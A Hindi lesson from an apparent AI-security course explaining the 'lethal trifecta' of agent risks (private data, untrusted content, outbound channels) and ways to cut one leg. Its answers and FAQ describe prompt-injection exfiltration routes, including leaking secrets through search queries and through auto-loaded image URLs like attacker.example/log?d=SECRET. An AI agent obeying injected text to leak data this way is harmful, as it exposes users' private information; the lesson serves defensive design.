Agent सुरक्षामध्यमपाठ 116 मिनट का पाठ

घातक तिकड़ी (The lethal trifecta)

तीन ऐसी क्षमताएं जो अकेले में पूरी तरह सामान्य हैं। तीनों को एक ही agent में डाल दीजिए और आपने डेटा चुराने वाली एक मशीन तैयार कर दी। स्विच ऑन कीजिए और देखिए।

✦ ट्यूटर से पूछें🧪 लैब · 15 min📝 पाठ का टेस्ट
पाठ वीडियो में

60 सेकंड में

घातक तिकड़ी (The lethal trifecta)

तीन ऐसी क्षमताएं जो अकेले में पूरी तरह सामान्य हैं। तीनों को एक ही agent में डाल दीजिए और आपने डेटा चुराने वाली एक मशीन तैयार कर दी। स्विच ऑन कीजिए और देखिए।

1/7
आसान शब्दों में
एक चाबी से तिजोरी खुलती है। एक दरवाज़ा बाहर की तरफ जाता है। एक अजनबी खिड़की से निर्देश चिल्लाकर दे सकता है। इनमें से कोई भी एक चीज़ होना ठीक है। तीनों का एक साथ होना यानी सुबह तक आपकी तिजोरी खाली मिलेगी।
यह नज़रिया सुरक्षा शोधकर्ता (security researcher) Simon Willison ने दिया है, और पूरी गाइड में याद रखने के लिए यह सबसे काम की चीज़ है। तीन सामग्रियां:

Interactive · build the trifecta

0 of 3 switched on.Turn them on one at a time. Notice that nothing alarming happens until the third — which is precisely why nobody notices building it.

तीनों की ज़रूरत क्यों है

  1. 1

    प्राइवेट डेटा तक पहुँच

    कुछ ऐसा जो चुराने लायक हो: आपकी फ़ाइलें, आपके ईमेल, आपके ग्राहकों का डेटाबेस, आपका source code, आपकी API keys।
  2. 2

    गैर-भरोसेमंद कंटेंट से संपर्क

    हमलावर की बात मॉडल तक पहुँचने का ज़रिया: खुला वेब, आने वाले ईमेल, अपलोड की गई फ़ाइलें, पब्लिक issues, थर्ड-पार्टी टूल्स।
  3. 3

    बाहर कम्युनिकेट करने की क्षमता

    कोई भी ऐसा माध्यम जो जानकारी को बाहर ले जाए: ईमेल भेजना, पोस्ट करना, किसी सार्वजनिक जगह पर लिखना, या किसी URL से सिर्फ एक इमेज लोड करना भी।
  4. 4

    किसी भी एक को हटा दीजिए

    हमला रुक जाता है। मुश्किल नहीं होता — रुक जाता है। या तो चुराने के लिए कुछ नहीं बचता, या आदेश देने का कोई रास्ता नहीं होता, या चोरी का माल बाहर ले जाने का कोई साधन नहीं होता।
ख़तरा
फंदा यह है कि हर सामग्री किसी अलग व्यक्ति द्वारा, किसी अलग sprint में, पूरी तरह से सही वजह से जोड़ी जाती है। कोई भी कभी यह तिकड़ी बनाने का फैसला नहीं करता। यह अपने आप तैयार हो जाती है।

असल ज़िंदगी में इसके रूप

Agentप्राइवेट डेटागैर-भरोसेमंद कंटेंटबाहर निकलने का रास्ता
ईमेल असिस्टेंटआपका पूरा इनबॉक्सकोई भी ईमेल जो कोई आपको भेजेयह ईमेल भेज सकता है
कोडिंग agentSource code और .env secretsIssues, PRs, dependency docsयह push कर सकता है, या नेटवर्क कॉल कर सकता है
ब्राउज़िंग असिस्टेंटआपके लॉग-इन किए हुए सेशन्सहर वह पेज जिस पर यह जाता हैयह किसी भी URL पर जा सकता है
सपोर्ट agentग्राहकों का डेटाबेसआने वाले टिकट्सयह टिकट्स का जवाब दे सकता है
पर्सनल असिस्टेंटकैलेंडर, कॉन्टैक्ट्स, फ़ाइलेंइनवाइट्स, शेयर किए गए डॉक्सयह मैसेज और शेयर कर सकता है
सावधान रहें
ईमेल असिस्टेंट वाली पंक्ति को देखिए। यह दुनिया में सबसे ज़्यादा मांगा जाने वाला AI फ़ीचर है, और यह पहले ही दिन से एक पूरी तिकड़ी बन जाता है। यही वजह है कि "AI जो आपके ईमेल पढ़ता और भेजता है" को सुरक्षित तरीके से बनाना वाकई बहुत मुश्किल बना हुआ है।

एक पैर काटना

डेटा वाले पैर को काटने के तरीके
  • पूरा स्टोर देने के बजाय agent को एक सीमित (scoped), केवल पढ़ने का (read-only) व्यू दें।
  • सीक्रेट्स के मॉडल तक पहुँचने से पहले ही उन्हें हटा (redact कर) दें।
  • सेशन्स को अलग रखें ताकि एक यूज़र का डेटा कभी दूसरे के पास न रहे।
  • डेटा केवल प्लान तय होने के बाद ही फेच करें, पहले कभी नहीं।
बाहर निकलने वाले पैर को काटने के तरीके
  • बाहर जाने वाले डोमेन्स की allow-list बनाएं — इनके अलावा कोई और डोमेन resolve न हो।
  • दिखाए जाने वाले आउटपुट में रिमोट तस्वीरों और लिंक्स के अपने-आप लोड होने पर रोक लगाएं।
  • हर send, post या push पर इंसान की मंज़ूरी (approval) लें।
  • कोई भी खुला (free-text) URL नहीं: agent केवल एक तय लिस्ट में से ही चुन सकता है।
यह करें
बाहर निकलने वाला पैर काटना आमतौर पर सबसे आसान और सस्ता होता है, और इसे काटने से तब भी आपकी सुरक्षा होती है जब injection सफल हो जाए। वह हमलावर जिसका आपके agent पर कब्ज़ा तो है, लेकिन वह एक बाइट भी बाहर नहीं निकाल सकता, उसने कुछ खास हासिल नहीं किया है।

और देखें और पढ़ें

The lethal trifecta for AI agentsSimon Willison · readingLethal trifecta explainedYouTube search

लैब

चार वास्तविक सिस्टम्स का Trifecta ऑडिट, और हर एक में काटा जाने वाला सबसे सस्ता पैर।

~15 min

समस्या

तीनों पैरों के लिए चार सिस्टम्स का ऑडिट करें — एक ईमेल असिस्टेंट, एक कोडिंग agent, एक कस्टमर सपोर्ट बॉट, और कोई ऐसी चीज़ जो आपने खुद बनाई हो। हर एक के लिए, खास डेटा, खास गैर-भरोसेमंद इनपुट पाथ, और इमेज लोडिंग व सर्च समेत हर आउटबाउंड चैनल की सूची बनाएं। फिर काटने के लिए सबसे सस्ता पैर चुनें और बताएं कि इससे प्रोडक्ट को क्या कीमत चुकानी पड़ेगी।

आपका काम तब पूरा होगा जब

कठिन सवाल

उत्तर देखने से पहले ख़ुद जवाब देने की कोशिश करें। अगर आप इनके जवाब दे सकते हैं, तो आप पाठ समझ गए हैं।

Q1एक सिर्फ पढ़ने वाला (read-only) agent जिसके पास ईमेल, राइटिंग, या पोस्टिंग की कोई सुविधा नहीं है। केवल वेब सर्च है। किसी तरीके से साबित करें कि डेटा अब भी बाहर निकल सकता है।दिखाएं
सर्च क्वेरी एक आउटबाउंड रिक्वेस्ट होती है। Agent सीक्रेट को सर्च करता है; सर्च प्रोवाइडर इसे लॉग कर लेता है। इससे भी तेज़ तरीका: हमलावर एक दुर्लभ स्ट्रिंग के लिए ऑप्टिमाइज़ किया गया एक डोमेन और पेज रजिस्टर करता है, agent को <secret> site:attacker.example सर्च करने का निर्देश देता है, और अपने लॉग्स में referrer या क्वेरी को पढ़ लेता है। यहाँ तक कि एक बूलियन (हाँ/ना) चैनल भी पर्याप्त क्वेरी मिलने पर कोई की (key) लीक कर सकता है, और agents तो बहुत सारी क्वेरी करते हैं।
Q2आपकी टीम को एक ईमेल असिस्टेंट लॉन्च करना ही है — तीनों पैर रहेंगे, इस पर कोई समझौता नहीं हो सकता। जितना हो सके उतना मजबूत सिस्टम डिज़ाइन करें और बचे हुए जोखिम (residual risk) को साफ़ शब्दों में बताएं।दिखाएं
नेटवर्क लेयर पर सख्त आउटबाउंड allow-list और DNS पूरी तरह लॉक; ड्राफ़्ट बनाने वाला agent मेल पढ़ता है लेकिन उसके पास भेजने (send) का कोई टूल नहीं होता; ईमेल भेजना एक अलग चरण है जो स्ट्रक्चर्ड ऑब्जेक्ट पर होता है, कभी भी खुले टेक्स्ट पर नहीं; हर ईमेल भेजने पर इंसान की मंज़ूरी (approval) जिसमें पाने वाले का पता और मैसेज बॉडी असल आर्गुमेंट्स से दिखाई जाए; रेंडरिंग पाथ में कहीं भी रिमोट तस्वीरों की ऑटो-लोडिंग न हो; भेजे जाने वाले ईमेल और पाने वालों की संख्या पर प्रति-घंटे की सीमा; हर ड्राफ़्ट पर असर डालने वाले सोर्स के साथ पूरी लॉगिंग; मेलबॉक्स में canary tokens और अगर कोई बाहर जाए तो तुरंत अलर्ट। बचा हुआ जोखिम, साफ़ शब्दों में: जो यूज़र बिना पढ़े मंज़ूरी दे देता है, वह डेटा बाहर जाने (exfiltration) से बस एक क्लिक की दूरी पर है, और उस क्लिक के लिए सोशल इंजीनियरिंग अब आपका मुख्य खतरा है। आपने हमले को मशीन से हटाकर इंसान पर डाल दिया है — जो कि एक प्रगति है, स्थायी समाधान नहीं।

जारी रखने के लिए कृपया साइन इन करें।

अक्सर पूछे जाने वाले सवाल

अगर मेरे पास तीनों में से केवल दो ही हों तो?

आप ठीक स्थिति में हैं, और आपको लिखकर रख लेना चाहिए कि कौन-सा पैर गायब है और जानबूझकर उसकी रक्षा करनी चाहिए — क्योंकि तीसरा पैर अक्सर अनजाने में जुड़ जाता है। "असिस्टेंट को समरी ईमेल भेजने दें" नाम का एक टिकट असल में उस तिकड़ी को पूरा कर रहा होता है।

क्या कोई इमेज लोड करना सचमुच बाहर निकलने का रास्ता है?

हाँ, और यह सबसे आम तरीका है। मॉडल एक ऐसा इमेज टैग लिखता है जो attacker.example/log?d=SECRET की तरफ इशारा करता है। चैट क्लाइंट इसे रेंडर करता है, आपका ब्राउज़र इसे फेच करता है, और वह सीक्रेट अब हमलावर के वेब सर्वर के लॉग्स में पहुँच चुका होता है। किसी क्लिक की ज़रूरत नहीं। मॉड्यूल 12 में इस तरीके को विस्तार से समझाया गया है।

क्या एक अप्रूवल क्लिक से यह ठीक हो जाता है?

सिर्फ तभी, जब इंसान असल में यह समझ सके कि वह क्या अप्रूव कर रहा है। "क्या नेटवर्क रिक्वेस्ट की अनुमति दें?" लोगों को 'हाँ' पर क्लिक करने की आदत डाल देता है। "क्या अपने पिछले 40 ईमेल unknown-domain.example को भेज दें?" ऐसी आदत नहीं डालता।

अगर मैं सावधानी बरतूँ तो क्या मैं तीनों को रख सकता हूँ?

कभी-कभी, गंभीर इंजीनियरिंग के साथ: सख्त आउटबाउंड allow-lists, केवल स्ट्रक्चर्ड डेटा का बहाव, हर एक्शन पर अप्रूवल, और भारी मॉनिटरिंग। यह महंगा है और कभी भी पूरी तरह सुरक्षित नहीं होता। अगर संभव हो तो एक पैर काट ही दें।

यह विचार कहाँ से आया?

Simon Willison ने जून 2025 में आम लोगों को यह पैटर्न समझाने के लिए "the lethal trifecta" शब्द गढ़ा था। यह बहुत लोकप्रिय हो गया क्योंकि इसने एक उलझे हुए जोखिम को एक ऐसी चेकलिस्ट में बदल दिया जिसे कोई भी चला सकता है।

पाठ का टेस्ट

5 सवाल। पास होने और इस पाठ को पूरा करने के लिए 3 सही होने चाहिए (60%)।

टेस्ट देने और अपनी प्रोग्रेस सेव करने के लिए साइन इन करें